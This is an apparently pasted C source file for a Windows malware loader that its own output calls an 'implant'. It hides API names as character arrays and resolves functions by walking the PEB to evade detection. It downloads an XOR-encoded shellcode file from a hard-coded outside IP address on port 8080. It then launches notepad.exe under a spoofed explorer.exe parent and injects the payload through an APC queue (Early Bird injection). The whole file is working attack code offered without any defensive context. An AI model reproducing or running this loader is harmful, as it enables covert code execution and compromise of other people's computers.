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gavzik
Jun 22nd, 2021
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  1. #pragma once
  2. #include <windows.h>
  3. #include <tlhelp32.h>
  4. #include <stdio.h>
  5.  
  6. #ifndef __NTDLL_H__
  7.  
  8. #ifndef TO_LOWERCASE
  9. #define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
  10. #endif
  11.  
  12. typedef LPVOID HINTERNET;
  13. #define INTERNET_OPEN_TYPE_DIRECT 1
  14. #define INTERNET_SERVICE_HTTP 3
  15.  
  16. char* payload;
  17. char key[] = "testkey123";
  18.  
  19. wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
  20. unsigned char ntdll_dll_name[] = { 'n','t','d','l','l','.','d','l','l', 0 };
  21. char load_lib_name[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
  22. char get_proc_name[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s', 0 };
  23.  
  24. void XOR(char* data, size_t data_len, char* key, size_t key_len) {
  25.     int j;
  26.  
  27.     j = 0;
  28.     for (int i = 0; i < data_len; i++) {
  29.         if (j == key_len - 1) j = 0;
  30.  
  31.         data[i] = data[i] ^ key[j];
  32.         j++;
  33.     }
  34. }
  35.  
  36. typedef struct _UNICODE_STRING
  37. {
  38.     USHORT Length;
  39.     USHORT MaximumLength;
  40.     PWSTR  Buffer;
  41.  
  42. } UNICODE_STRING, * PUNICODE_STRING;
  43.  
  44. typedef struct _PEB_LDR_DATA
  45. {
  46.     ULONG Length;
  47.     BOOLEAN Initialized;
  48.     HANDLE SsHandle;
  49.     LIST_ENTRY InLoadOrderModuleList;
  50.     LIST_ENTRY InMemoryOrderModuleList;
  51.     LIST_ENTRY InInitializationOrderModuleList;
  52.     PVOID      EntryInProgress;
  53.  
  54. } PEB_LDR_DATA, * PPEB_LDR_DATA;
  55.  
  56. //here we don't want to use any functions imported form external modules
  57. typedef struct _LDR_DATA_TABLE_ENTRY {
  58.     LIST_ENTRY  InLoadOrderModuleList;
  59.     LIST_ENTRY  InMemoryOrderModuleList;
  60.     LIST_ENTRY  InInitializationOrderModuleList;
  61.     void* BaseAddress;
  62.     void* EntryPoint;
  63.     ULONG   SizeOfImage;
  64.     UNICODE_STRING FullDllName;
  65.     UNICODE_STRING BaseDllName;
  66.     ULONG   Flags;
  67.     SHORT   LoadCount;
  68.     SHORT   TlsIndex;
  69.     HANDLE  SectionHandle;
  70.     ULONG   CheckSum;
  71.     ULONG   TimeDateStamp;
  72. } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
  73.  
  74. typedef struct _PEB
  75. {
  76.     BOOLEAN InheritedAddressSpace;
  77.     BOOLEAN ReadImageFileExecOptions;
  78.     BOOLEAN BeingDebugged;
  79.     BOOLEAN SpareBool;
  80.     HANDLE Mutant;
  81.  
  82.     PVOID ImageBaseAddress;
  83.     PPEB_LDR_DATA Ldr;
  84.  
  85. } PEB, * PPEB;
  86.  
  87. #endif //__NTDLL_H__
  88.  
  89. LPVOID get_module_by_name(WCHAR* module_name)
  90. {
  91.     PPEB peb = NULL;
  92. #if defined(_WIN64)
  93.     peb = (PPEB)__readgsqword(0x60);
  94. #else
  95.     peb = (PPEB)__readfsdword(0x30);
  96. #endif
  97.     PPEB_LDR_DATA ldr = peb->Ldr;
  98.     LIST_ENTRY list = ldr->InLoadOrderModuleList;
  99.  
  100.     PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
  101.     PLDR_DATA_TABLE_ENTRY curr_module = Flink;
  102.  
  103.     while (curr_module != NULL && curr_module->BaseAddress != NULL) {
  104.         if (curr_module->BaseDllName.Buffer == NULL) continue;
  105.         WCHAR* curr_name = curr_module->BaseDllName.Buffer;
  106.  
  107.         size_t i = 0;
  108.         for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
  109.             WCHAR c1, c2;
  110.             TO_LOWERCASE(c1, module_name[i]);
  111.             TO_LOWERCASE(c2, curr_name[i]);
  112.             if (c1 != c2) break;
  113.         }
  114.         if (module_name[i] == 0 && curr_name[i] == 0) {
  115.             //found
  116.             return curr_module->BaseAddress;
  117.         }
  118.         // not found, try next:
  119.         curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
  120.     }
  121.     return NULL;
  122. }
  123.  
  124. LPVOID get_func_by_name(LPVOID module, char* func_name)
  125. {
  126.     IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
  127.     if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
  128.         return NULL;
  129.     }
  130.     IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
  131.     IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
  132.     if (exportsDir->VirtualAddress == NULL) {
  133.         return NULL;
  134.     }
  135.  
  136.     DWORD expAddr = exportsDir->VirtualAddress;
  137.     IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
  138.     SIZE_T namesCount = exp->NumberOfNames;
  139.  
  140.     DWORD funcsListRVA = exp->AddressOfFunctions;
  141.     DWORD funcNamesListRVA = exp->AddressOfNames;
  142.     DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;
  143.  
  144.     //go through names:
  145.     for (SIZE_T i = 0; i < namesCount; i++) {
  146.         DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
  147.         WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
  148.         DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));
  149.  
  150.         LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
  151.         size_t k = 0;
  152.         for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
  153.             if (func_name[k] != curr_name[k]) break;
  154.         }
  155.         if (func_name[k] == 0 && curr_name[k] == 0) {
  156.             //found
  157.             return (BYTE*)module + (*funcRVA);
  158.         }
  159.     }
  160.     return NULL;
  161. }
  162.  
  163.  
  164. // resolve kernel32 image base
  165. LPVOID base = get_module_by_name((const LPWSTR)kernel32_dll_name);
  166.  
  167. // resolve ntdll image base
  168. LPVOID ntbase = get_module_by_name((const LPWSTR)ntdll_dll_name);
  169.  
  170. // resolve loadlibraryA() address
  171. LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)load_lib_name);
  172.  
  173. // resolve getprocaddress() address
  174. LPVOID get_proc = get_func_by_name((HMODULE)base, (LPSTR)get_proc_name);
  175.  
  176. // loadlibrarya and getprocaddress function definitions
  177. HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR))load_lib;
  178. FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName) = (FARPROC(WINAPI*)(HMODULE, LPCSTR)) get_proc;
  179.  
  180. DWORD dwOldProtect;
  181. char virtualprotect_name[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t',0 };
  182. BOOL(WINAPI* _VirtualProtect)(
  183.     LPVOID lpAddress,
  184.     SIZE_T dwSize,
  185.     DWORD  flNewProtect,
  186.     PDWORD lpflOldProtect
  187.     ) = (BOOL(WINAPI*)(
  188.         LPVOID lpAddress,
  189.         SIZE_T dwSize,
  190.         DWORD  flNewProtect,
  191.         PDWORD lpflOldProtect
  192.         )) _GetProcAddress((HMODULE)base, virtualprotect_name);
  193.  
  194.  
  195. unsigned char sCloseHandle[] = { 'C','l','o','s','e','H','a','n','d','l','e', 0x0 };
  196. BOOL(WINAPI* _CloseHandle)(
  197.     HANDLE hObject
  198.     ) = (BOOL(WINAPI*)(
  199.         HANDLE hObject
  200.         )) _GetProcAddress((HMODULE)base, (LPCSTR)sCloseHandle);
  201.  
  202.  
  203. unsigned char sCreateToolhelp32Snapshot[] = { 'C','r','e','a','t','e','T','o','o','l','h','e','l','p','3','2', 'S', 'n', 'a', 'p', 's', 'h', 'o', 't', 0x0 };
  204. unsigned char sProcess32First[] = { 'P','r','o','c','e','s','s','3','2','F','i','r','s','t', 0x0 };
  205. unsigned char sProcess32Next[] = { 'P','r','o','c','e','s','s','3','2','N','e','x','t', 0x0 };
  206. HANDLE(WINAPI* _CreateToolhelp32Snapshot)(
  207.     DWORD dwFlags,
  208.     DWORD th32ProcessID
  209.     ) = (HANDLE(WINAPI*)(
  210.         DWORD dwFlags,
  211.         DWORD th32ProcessID
  212.         )) _GetProcAddress((HMODULE)base, (LPCSTR)sCreateToolhelp32Snapshot);
  213.  
  214. BOOL(WINAPI* _Process32First)(
  215.     HANDLE hSnapshot,
  216.     LPPROCESSENTRY32 lppe
  217.     ) = (BOOL(WINAPI*)(
  218.         HANDLE hSnapshot,
  219.         LPPROCESSENTRY32 lppe
  220.         )) _GetProcAddress((HMODULE)base, (LPCSTR)sProcess32First);
  221.  
  222. BOOL(WINAPI* _Process32Next)(
  223.     HANDLE hSnapshot,
  224.     LPPROCESSENTRY32 lppe
  225.     ) = (BOOL(WINAPI*)(
  226.         HANDLE hSnapshot,
  227.         LPPROCESSENTRY32 lppe
  228.         )) _GetProcAddress((HMODULE)base, (LPCSTR)sProcess32Next);
  229.  
  230. int fetch()
  231. {
  232.  
  233. char wininet_dll_name[] = { 'w','i','n','i','n','e','t','.','d','l','l', 0 };
  234. char internetopenw_name[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','A',0 };
  235. LPVOID wininet_dll = _LoadLibraryA(wininet_dll_name);
  236.  
  237. HINTERNET(WINAPI * _InternetOpenA)(
  238.     _In_opt_ LPCSTR lpszAgent,
  239.     _In_opt_ DWORD   dwAccessType,
  240.     _In_opt_ LPCSTR lpszProxy,
  241.     _In_opt_ LPCSTR lpszProxyBypass,
  242.     _In_ DWORD   dwFlags
  243.     ) = (HINTERNET(WINAPI*)(
  244.         _In_opt_ LPCSTR lpszAgent,
  245.         _In_opt_ DWORD   dwAccessType,
  246.         _In_opt_ LPCSTR lpszProxy,
  247.         _In_opt_ LPCSTR lpszProxyBypass,
  248.         _In_ DWORD   dwFlags)) _GetProcAddress((HMODULE)wininet_dll, internetopenw_name);
  249.  
  250. char internetconnecta_name[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','A',0 };
  251. HINTERNET(WINAPI * _InternetConnectA)(
  252.     _In_opt_ HINTERNET     hInternet,
  253.     _In_opt_ LPCSTR       lpszServerName,
  254.     _In_opt_ int nServerPort,
  255.     _In_opt_ LPCSTR       lpszUserName,
  256.     _In_opt_ LPCSTR       lpszPassword,
  257.     _In_opt_ DWORD         dwService,
  258.     _In_opt_ DWORD         dwFlags,
  259.     _In_ DWORD_PTR     dwContext
  260.     ) = (HINTERNET(WINAPI*)(
  261.         _In_opt_ HINTERNET     hInternet,
  262.         _In_opt_ LPCSTR       lpszServerName,
  263.         _In_opt_ int nServerPort,
  264.         _In_opt_ LPCSTR       lpszUserName,
  265.         _In_opt_ LPCSTR       lpszPassword,
  266.         _In_opt_ DWORD         dwService,
  267.         _In_opt_ DWORD         dwFlags,
  268.         _In_ DWORD_PTR     dwContext
  269.         )) _GetProcAddress((HMODULE)wininet_dll, internetconnecta_name);
  270.  
  271. char httpopenrequesta_name[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','A',0 };
  272. HINTERNET(WINAPI * _HttpOpenRequestA)(
  273.     _In_opt_ HINTERNET hConnect,
  274.     _In_opt_ LPCSTR   lpszVerb,
  275.     _In_opt_  LPCSTR   lpszObjectName,
  276.     _In_opt_ LPCSTR   lpszVersion,
  277.     _In_opt_ LPCSTR   lpszReferrer,
  278.     _In_opt_ LPCSTR * lplpszAcceptTypes,
  279.     _In_opt_ DWORD     dwFlags,
  280.     _In_ DWORD_PTR dwContext
  281.     ) = (HINTERNET(WINAPI*)(
  282.         _In_opt_ HINTERNET hConnect,
  283.         _In_opt_ LPCSTR   lpszVerb,
  284.         _In_opt_ LPCSTR   lpszObjectName,
  285.         _In_opt_ LPCSTR   lpszVersion,
  286.         _In_opt_ LPCSTR   lpszReferrer,
  287.         _In_opt_ LPCSTR * lplpszAcceptTypes,
  288.         _In_opt_ DWORD     dwFlags,
  289.         _In_ DWORD_PTR dwContext
  290.         )) _GetProcAddress((HMODULE)wininet_dll, httpopenrequesta_name);
  291.  
  292. char httpsendrequesta_name[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','A',0 };
  293.  
  294. BOOL(WINAPI * _HttpSendRequestA)(
  295.     HINTERNET hRequest,
  296.     LPCWSTR   lpszHeaders,
  297.     DWORD     dwHeadersLength,
  298.     LPVOID    lpOptional,
  299.     DWORD     dwOptionalLength
  300.     ) = (BOOL(WINAPI*)(
  301.         HINTERNET hRequest,
  302.         LPCWSTR   lpszHeaders,
  303.         DWORD     dwHeadersLength,
  304.         LPVOID    lpOptional,
  305.         DWORD     dwOptionalLength
  306.         )) _GetProcAddress((HMODULE)wininet_dll, httpsendrequesta_name);
  307.  
  308. char internetreadfile_name[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e', 0 };
  309.  
  310. BOOL(WINAPI * _InternetReadFile)(
  311.     HINTERNET hFile,
  312.     LPVOID    lpBuffer,
  313.     DWORD     dwNumberOfBytesToRead,
  314.     LPDWORD   lpdwNumberOfBytesRead
  315.     ) = (BOOL(WINAPI*)(
  316.         HINTERNET hFile,
  317.         LPVOID    lpBuffer,
  318.         DWORD     dwNumberOfBytesToRead,
  319.         LPDWORD   lpdwNumberOfBytesRead
  320.         )) _GetProcAddress((HMODULE)wininet_dll, internetreadfile_name);
  321.  
  322. char internetclosehandle_name[] = { 'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e', 0 };
  323. void(WINAPI * _InternetCloseHandle)(
  324.     HINTERNET hInternet
  325.     ) = (void (WINAPI*)(
  326.         HINTERNET hInternet
  327.         )) _GetProcAddress((HMODULE)wininet_dll, internetclosehandle_name);
  328.  
  329. char user_agent[] = { 'u','s','e','r',0 };
  330. HINTERNET hInternet = _InternetOpenA(user_agent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  331. if (hInternet == NULL)
  332. {
  333.     return 1;
  334. }
  335.  
  336. char sitename[] = { '1','7','6','.','5','8','.','1','0','3', '.', '4', '0', 0 };
  337. int port = 8080;
  338. HINTERNET hConnect = _InternetConnectA(hInternet, sitename, port, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
  339. if (hConnect == NULL) {
  340.     return 1;
  341. }
  342.  
  343. const char acceptTypes[] = { '*','/','*', NULL };
  344. char method[] = { 'G','E','T',0 };
  345. char site_param[] = { 'e','n','c','o','d','e','d','.','r','a','w',0 };
  346. HINTERNET hRequest = _HttpOpenRequestA(hConnect, method, site_param, NULL, NULL, (LPCSTR *)acceptTypes, 0, 0);
  347. if (hRequest == NULL) {
  348.     return 1;
  349. }
  350.  
  351. BOOL bRequestSent = _HttpSendRequestA(hRequest, NULL, 0, NULL, 0);
  352.  
  353. BOOL bKeepReading = TRUE;
  354. const int npayloadSize = 5000000;
  355. int size = 0;
  356.  
  357. char virtualalloc_name[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0 };
  358. LPVOID(WINAPI * _VirtualAlloc)(
  359.     LPVOID lpAddress,
  360.     SIZE_T dwSize,
  361.     DWORD  flAllocationType,
  362.     DWORD  flProtect
  363.     ) = (LPVOID(WINAPI*)(
  364.         LPVOID lpAddress,
  365.         SIZE_T dwSize,
  366.         DWORD  flAllocationType,
  367.         DWORD  flProtect
  368.         )) _GetProcAddress((HMODULE)base, virtualalloc_name);
  369.  
  370. payload = (char*)_VirtualAlloc(0, 10000000, MEM_COMMIT, PAGE_READWRITE);
  371. DWORD dwBytesRead = -1;
  372.  
  373. while (bKeepReading && dwBytesRead != 0) {
  374.     bKeepReading = _InternetReadFile(hRequest, payload, npayloadSize, &dwBytesRead);
  375. }
  376.  
  377.  
  378. _InternetCloseHandle(hRequest);
  379. _InternetCloseHandle(hConnect);
  380. _InternetCloseHandle(hInternet);
  381.  
  382. return 0;
  383. }
  384.  
  385.  
  386. int FindTarget(const char* procname) {
  387.  
  388.     HANDLE hProcSnap;
  389.     PROCESSENTRY32 pe32;
  390.     int pid = 0;
  391.  
  392.     unsigned char slstrcmpiA[] = { 'l','s','t','r','c','m','p','i','A', 0x0 };
  393.     INT(WINAPI * _lstrcmpiA)(
  394.         LPCSTR lpString1,
  395.         LPCSTR lpString2
  396.         ) = (INT(WINAPI*)(
  397.             LPCSTR lpString1,
  398.             LPCSTR lpString2
  399.             )) _GetProcAddress((HMODULE)base, (LPCSTR)slstrcmpiA);
  400.  
  401.     hProcSnap = _CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  402.     if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
  403.  
  404.     pe32.dwSize = sizeof(PROCESSENTRY32);
  405.  
  406.     if (!_Process32First(hProcSnap, &pe32)) {
  407.         _CloseHandle(hProcSnap);
  408.         return 0;
  409.     }
  410.  
  411.     while (_Process32Next(hProcSnap, &pe32)) {
  412.         if (_lstrcmpiA(procname, pe32.szExeFile) == 0) {
  413.             pid = pe32.th32ProcessID;
  414.             break;
  415.         }
  416.     }
  417.  
  418.     _CloseHandle(hProcSnap);
  419.  
  420.     return pid;
  421. }
  422.  
  423. DWORD GetPidByName(const char* pName) {
  424.     PROCESSENTRY32 pEntry;
  425.     HANDLE snapshot;
  426.  
  427.     pEntry.dwSize = sizeof(PROCESSENTRY32);
  428.     snapshot = _CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  429.  
  430.     if (_Process32First(snapshot, &pEntry) == TRUE) {
  431.         while (_Process32Next(snapshot, &pEntry) == TRUE) {
  432.             if (_stricmp(pEntry.szExeFile, pName) == 0) {
  433.                 return pEntry.th32ProcessID;
  434.             }
  435.         }
  436.     }
  437.     _CloseHandle(snapshot);
  438.     return 0;
  439. }
  440.  
  441. void EarlyBird() {
  442.  
  443.      DWORD oldprotect = 0;
  444.     STARTUPINFOEX info = { sizeof(info) };
  445.     PROCESS_INFORMATION pi;
  446.     SIZE_T cbAttributeListSize = 0;
  447.     PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
  448.     HANDLE hParentProcess = NULL;
  449.     DWORD dwPid = 0;
  450.  
  451.     dwPid = GetPidByName("explorer.exe");
  452.     if (dwPid == 0)
  453.         dwPid = GetCurrentProcessId();
  454.  
  455.     InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
  456.     pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
  457.     InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
  458.  
  459.     hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
  460.     UpdateProcThreadAttribute(pAttributeList,
  461.         0,
  462.         PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
  463.         &hParentProcess,
  464.         sizeof(HANDLE),
  465.         NULL,
  466.         NULL);
  467.  
  468.     info.lpAttributeList = pAttributeList;
  469.  
  470.     CreateProcessA(NULL,
  471.         (LPSTR)"notepad.exe",
  472.         NULL,
  473.         NULL,
  474.         FALSE,
  475.         EXTENDED_STARTUPINFO_PRESENT,
  476.         NULL,
  477.         NULL,
  478.         &info.StartupInfo,
  479.         &pi);
  480.  
  481.     printf("implant ID: %d | explorer ID: %d | notepad ID: %d\n", GetCurrentProcessId(), dwPid, pi.dwProcessId);
  482.  
  483.     XOR((char*)payload, sizeof(payload), key, sizeof(key));
  484.  
  485.     void* pRemoteCode = VirtualAllocEx(pi.hProcess, NULL, (SIZE_T)sizeof(payload), MEM_COMMIT, PAGE_READWRITE);
  486.     WriteProcessMemory(pi.hProcess, pRemoteCode, (PVOID)payload, (SIZE_T)sizeof(payload), (SIZE_T*)NULL);
  487.     VirtualProtectEx(pi.hProcess, pRemoteCode, (SIZE_T)sizeof(payload), PAGE_EXECUTE, &oldprotect);
  488.     PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)pRemoteCode;
  489.     QueueUserAPC((PAPCFUNC)apcRoutine, pi.hThread, NULL);
  490.  
  491.     printf("payload = %p ; remote code = %p\nReady!\n", payload, pRemoteCode);
  492.     getchar();
  493.     ResumeThread(pi.hThread);
  494.  
  495.     DeleteProcThreadAttributeList(pAttributeList);
  496.     CloseHandle(hParentProcess);
  497.  
  498. }
  499.  
  500.  
  501. int main(void) {
  502.     fetch();
  503.     printf("Shellcode fetched\n");
  504.     EarlyBird();
  505.    
  506.     return 0;
  507. }
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